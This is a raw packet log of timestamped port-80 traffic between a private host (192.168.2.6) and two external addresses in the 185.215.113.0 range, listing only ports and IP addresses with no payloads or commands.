Dec 23, 2024 06:53:46.006243944 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.006294012 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.007164001 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.007260084 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.007435083 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.008065939 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.008218050 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.008265972 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.008994102 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.009104013 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.009325027 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.009974957 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.010090113 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.010318041 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.010884047 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.054716110 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.056682110 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.056773901 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.056886911 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.057145119 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.057248116 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.057362080 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.058105946 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.058239937 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.058283091 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.059050083 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.059191942 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.059236050 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.059973955 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.060107946 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.060149908 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.060882092 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.060992956 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.061043978 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.061878920 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.061897039 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.061952114 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.062777996 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.062973976 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.063723087 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.063775063 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.063846111 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.063890934 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.064704895 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.064877033 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.064930916 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.125282049 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.125439882 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.125499010 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.125752926 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.125838041 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.125888109 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.126703024 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.126827002 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.126874924 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.127739906 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.127794027 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.127892017 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.128581047 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.128694057 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.128746986 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.129551888 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.129656076 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.129720926 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.130441904 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.130654097 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.130717993 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.131416082 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.131592989 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.131653070 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.132334948 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.132446051 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.132674932 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.133281946 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.133383989 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.133435965 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.134248972 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.134300947 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.134500027 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.135170937 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.135286093 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.135335922 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.136101007 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.136203051 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.136250973 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.137031078 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.137173891 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.137387037 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.137969971 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.138077021 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.138125896 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.138902903 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.139013052 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.139060020 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.139883041 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.139951944 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.139991045 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.140794039 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.140876055 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.140927076 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.141727924 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.141838074 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.141906977 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.142663956 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.142803907 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.142884016 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.143620014 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.143697023 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:46.143738985 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:46.288479090 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:49.529373884 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:49.649005890 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:49.649678946 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:49.650605917 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:49.770165920 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:50.989908934 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:50.990195036 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:50.993441105 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:51.112888098 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:51.449174881 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:51.449256897 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:51.450170994 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:51.569696903 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:51.893435001 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:51.893498898 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:51.893537998 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:51.893570900 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:51.895054102 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:52.014619112 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:52.338469982 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:52.338515043 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:52.338526964 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:52.338597059 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:52.338797092 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:52.338808060 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:52.338819027 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:52.338850021 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:52.338865042 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:52.340245962 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:52.459794998 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:52.783586979 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:52.783643007 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:52.839876890 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:52.839929104 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:52.959330082 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:52.959495068 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:52.959538937 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:52.959580898 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:52.959592104 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:52.959662914 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:53.917233944 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:53.917282104 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.191268921 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.310789108 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.632785082 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.632853031 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.632862091 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.632913113 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.636936903 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.636989117 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.637068033 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.637109995 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.645405054 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.645453930 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.645505905 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.645544052 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.653760910 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.653815031 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.653872967 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.653908968 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.662369967 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.662444115 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.662538052 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.662580967 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.761972904 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.762065887 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.762075901 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.762125969 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.766159058 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.766210079 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.766268969 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.766330957 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.774566889 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.774621964 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.774678946 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.774728060 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.783004999 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.783047915 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.783251047 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.783296108 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.791445017 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.791491985 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.791567087 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.791610956 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.799791098 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.799839020 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.824820042 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.824876070 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.824964046 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.825010061 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.829025030 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.829072952 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.829127073 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.829169989 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.837455988 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.837507010 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.837554932 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.837594986 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.845833063 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.845891953 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.845911026 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.845944881 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.854430914 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.854485989 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.854513884 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.854549885 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.862684011 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.862739086 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.862911940 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.862952948 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.871180058 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.871229887 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.871273994 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.872678995 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.891351938 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.891406059 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.891432047 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.891469002 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.895524979 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.895572901 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.897066116 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.897119045 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.897144079 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.897186041 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.905502081 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.905555964 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.905575991 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.905608892 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.913882017 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.913925886 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.954066992 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.954159021 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.954252958 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.954252958 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.957979918 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.958030939 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.958076000 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.958117962 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.965725899 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.965795994 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.965812922 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.965955019 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.973531008 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.973591089 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.973671913 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.973716974 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.980700970 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.980760098 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.980807066 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.980850935 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.987483978 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.987540960 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.987572908 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.987616062 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.994260073 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.994313955 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:54.994458914 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:54.994503021 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.000721931 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.000782013 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.000791073 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.000832081 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.006773949 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.006824017 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.007003069 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.007047892 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.012655973 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.012712955 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.012722015 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.012774944 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.018517971 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.018596888 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.018671989 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.018718958 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.018821955 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.018867016 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.022191048 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.022242069 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.022263050 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.022305012 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.025739908 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.025796890 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.025823116 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.025866985 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.029272079 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.029330969 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.029346943 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.029390097 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.032789946 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.032840014 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.032929897 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.032973051 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.036269903 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.036322117 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.036345959 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.036393881 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.039779902 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.039887905 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.039947987 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.043243885 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.043317080 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.043344975 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.043385983 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.046711922 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.046766996 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.083452940 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.083508015 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.083564997 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.083606005 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.085134983 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.085179090 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.085225105 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.085262060 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.087833881 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.087903023 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.087949991 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.087989092 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.091284037 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.091347933 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.091394901 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.091439009 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.094821930 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.094890118 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.094926119 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.094973087 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.098279953 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.098361015 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.098381996 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.098432064 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.101751089 CET	80	49793	185.215.113.206	192.168.2.6
